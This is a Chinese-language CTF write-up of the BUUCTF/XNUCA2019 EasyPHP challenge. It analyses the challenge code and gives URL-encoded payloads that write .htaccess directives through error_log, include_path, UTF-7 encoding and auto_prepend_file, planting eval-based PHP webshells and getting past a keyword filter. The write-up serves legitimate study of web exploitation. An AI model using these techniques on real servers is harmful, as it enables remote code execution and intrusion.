[BUUCTF題解][XNUCA2019Qualifier]EasyPHP 1
寫在最前面
這種題目嘛,程式碼不算長,程式碼邏輯剛好也能夠看懂,不出所料的對著自己知道的知識瞎測試了下,完全行不通。沒辦法只對著其他師傅們的WP來解了,把其中一些師傅們省略的零散小知識補全剛好寫一篇部落格記錄下。
正式解題
看了師傅們的WP,共三種,一種預期解和兩者非預期解,先分析題目的程式碼邏輯再來分析解題方法。
程式碼分析
首先對當前訪問的php頁面檔案(index.php)所在資料夾進行遍歷,獲取的結果為當前目錄中的檔名和資料夾名,接著在結果篩選出檔名,對檔名進行判斷,檔名不為"index.php"的檔案都會被刪除。
包含檔案fl3g.php,如果未使用GET方式對引數content和引數filename傳值則顯示當前PHP檔案原始碼並結束程式。
接收GET方式對引數content傳值,並賦值給變數content,對content的值進行檢測,如果含有"on","html","type","flag","upload","file"則會結束程式。
接收GET方式對引數filename傳值,並賦值給變數filename,並限制filename的值僅能使用小寫字元和符號".",如果含有其他字元則會結束程式。
再次對當前目錄下檔案執行程式碼剛開始部分相同的篩選刪除。
將變數filename作為檔名,變數content拼接上字串"\nJust one chance"後作為檔案內容寫入該檔案,但對於file_put_contents來說傳入的檔名必須存在對應的檔案才能寫入,不存在對應檔案時並不會建立。
一開始看到這,興高采烈地的寫了個一句話,然後訪問發現並不會被當成PHP檔案解析。隨後在對應的原始碼配置中發現,設定了只能訪問目錄下的index.php時PHP引擎才會開啟。
所以只能老老實實的使用.htaccess。
預期解
.htaccess中可以配置部分apache指令,這部分指令不需要重啟服務端就能生效,利用.htaccess實際上就是利用apache中那些.htaccess有許可權配置的指令。
也就是許可權為下圖中兩者的指令。
這裡師傅們找到了error_log指令,可以用來寫檔案。
error_log是依靠出現錯誤來觸發寫日誌的,所以最好讓error_log把所有等級的錯誤均寫成日誌,這樣方便我們寫入,而error_reporting就能設定寫日誌需要的錯誤等級。
其中當引數為32767時,表示為所有等級的錯誤。
那如何控制我們寫如的內容呢?顯然是通過報錯,這裡師傅們採用的是修改include函式的預設路徑。
在include函式中我們可以直接include("當前目錄下檔名")來使用就是因為定義了預設路徑為"./"即當前目錄,如果把這個值修改為不存在的路徑時,include包含這個路徑便會報錯。
像這樣的錯誤資訊便會被寫入檔案,如果把phpcode換一句話,便能夠擴大使用面。
最後我們還需要注意我們寫入時,寫入的內容會接上"\nJustonechance",在.htaccess中出現不符合的apache語法的字元時會導致錯誤,這時我們訪問在這個錯誤.htaccess作用範圍內的頁面均會返回500。
在apache中#代表單行註釋符 ,而\代表命令換行,所以我們可以在末尾加上#\,這個時候雖然換行但仍能被註釋,效果如下圖。
我們可以在.htaccess檔案的末尾加上#\,此時再寫入檔案的這部分是,#\\nJustonechance所以我們現在要寫入的一個.htaccess檔案,其包含內容如下圖所示(error_log和include_path這種所填入的路徑是不必用引號包裹的,但由於我們在此處利用時會使用其他正常路徑時並不會出現的字元故進而會導致500,所以應該用引號包裹(單引號和雙引號都是可行的))。
值得注意的是經過不完全測試發現僅三個目錄有增刪檔案的許可權,這三個目錄分別是/tmp/、/var/tmp/和/var/www/html/(即我們當前儲存PHP程式碼的資料夾),其他目錄由於沒有增刪檔案的許可權所以我們error_log也因無法在這些目錄下建立日誌檔案而失效(對於tmp資料夾或許是出於臨時儲存的需求所以需要的許可權較低?並沒有找到關於這點相關資料,但看師傅們都選擇了/tmp/)。
(其他兩個目錄同樣可行)
此外我們傳入的方式是GET方式,在URL中實現傳入,所以得把這些內容進行必要URL編碼(包括換行,因為.htaccess只能是一行一條命令)後再傳入,換行替換為%0d%0a,#替換為%23,?替換為%3f。
處理後完整的payload為:?filename=.htaccess&content=php_value%20include_path%20"./test/<%3fphp%20phpinfo();%3f>"%0d%0aphp_value%20error_log%20"/tmp/fl3g.php"%0d%0aphp_value%20error_reporting%2032767%0d%0a%23\。傳入後接著再訪問一次(攜帶與不攜帶payload均是可行的),此時由於include_path的設定,include函式包含錯誤便會記錄在日誌中。
但此時我們的payload並不可直接使用,在寫入日誌時符號"<"與">"被進行了HTML轉義,我們的php程式碼也就不會被識別。
所以我們需要採用一種繞過方式,這裡師傅們採用的是UTF-7編碼的方式,先來看下wiki百科對UTF-7編碼的解釋:UTF-7 - 維基百科,自由的百科全書 (wikipedia.org)(需要梯子)。
其編碼實際上可以看作是另外一種形式的base64編碼,這就意味著對於一個標準的UTF-8編碼後字串,如"+ADs-"在去掉首尾的+和-後可以通過直接的base64解碼得到對應字元(雖然由於編碼原理會出現多餘字串),但注意反向處理並不會得到UTF-7的編碼的。
對於UTF-7編碼來說,一個標準得UTF-7編碼後字串應該由+開頭由-結尾,實際用於PHP解碼時保留開頭得+即可保證一個UTF-7編碼後字串被識別,但這部分不知道為何沒有在中文wiki中說明,在英文wiki中卻能找到相關描述:UTF-7 - Wikipedia。
對於UTF-7編碼來說,最方便得編碼和解碼方式還是利用PHP自帶得函式來處理(mb_convert_encoding需要PHP將mbstring庫開啟後才能使用,否則會提示函式未定義)。
回到符號"<"和">"會被HTML轉義的問題上來,我們可以使用其UTF-7編碼的格式,同時開啟PHP對UTF-7編碼的解碼,這樣就能繞過了。
所以經過UTF-7編碼後我們的payload如下所示。
需要注意的是__halt_compiler函式用來終端編譯器的執行,如果我們不帶上這個函式的話包含我們的日誌檔案會導致500甚至崩掉(但本地復現卻不會有點搞不懂)。
而URL編碼處理後payload則是:?filename=.htaccess&content=php_value include_path "/tmp/%2bADw-%3fphp eval($_GET[code]);__halt_compiler();"%0d%0aphp_value error_reporting 32767%0d%0aphp_value error_log /tmp/fl3g.php%0d%0a%23\
接著我們再訪問一次觸發include包含的錯誤路徑並記錄在日誌中,然後我們就需要再寫入一個新的.htaccess檔案設定讓日誌中我們的UTF-7編碼能夠被解碼,從而我們PHP程式碼才能被解析。
zend.multibyte決定是否開啟編碼的檢測和解析,zend.script_encoding決定採用什麼編碼,所以我們需要寫入的第二個.htaccess檔案如下。
URL編碼後的payload:php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a%23\
接著我們便可以來使用一句話了來讀取flag了,需要注意的是題目原始碼說明會刪除當前目錄下非index.php的所有檔案,所以我們再使用一句話之前必須得傳一遍第二個.htaccess檔案的內容(.htaccess中的設定會在PHP檔案執行之前被載入,所以不用擔心刪除導致.htaccess在本次訪問時不生效)。
非預期解1
在.htaccess中#表示註釋符號的意思,所以我們可以將一句話放在#後面,再讓PHP檔案包含.htaccess,此外再使用符號"\"換行的功能繞過對關鍵詞file的檢測,再讓我們每次訪問時均生成這樣一個.htaccess,這樣就能得到一個可以用在蟻劍上的一句話了。
URL編碼後:
php_value auto_prepend_fi/%0d%0ale ".htaccess"%0d%0a#<?php eval($_POST[cmd]);?>/
非預期解2
(這個先暫時空著,和正則匹配的回溯次數有關,暫時還沒搞明白)
寫在最後
由於博主技術有限,表述水平也不行,如果各位師傅發現了文中的不當之處,歡迎各位師傅斧正與補充。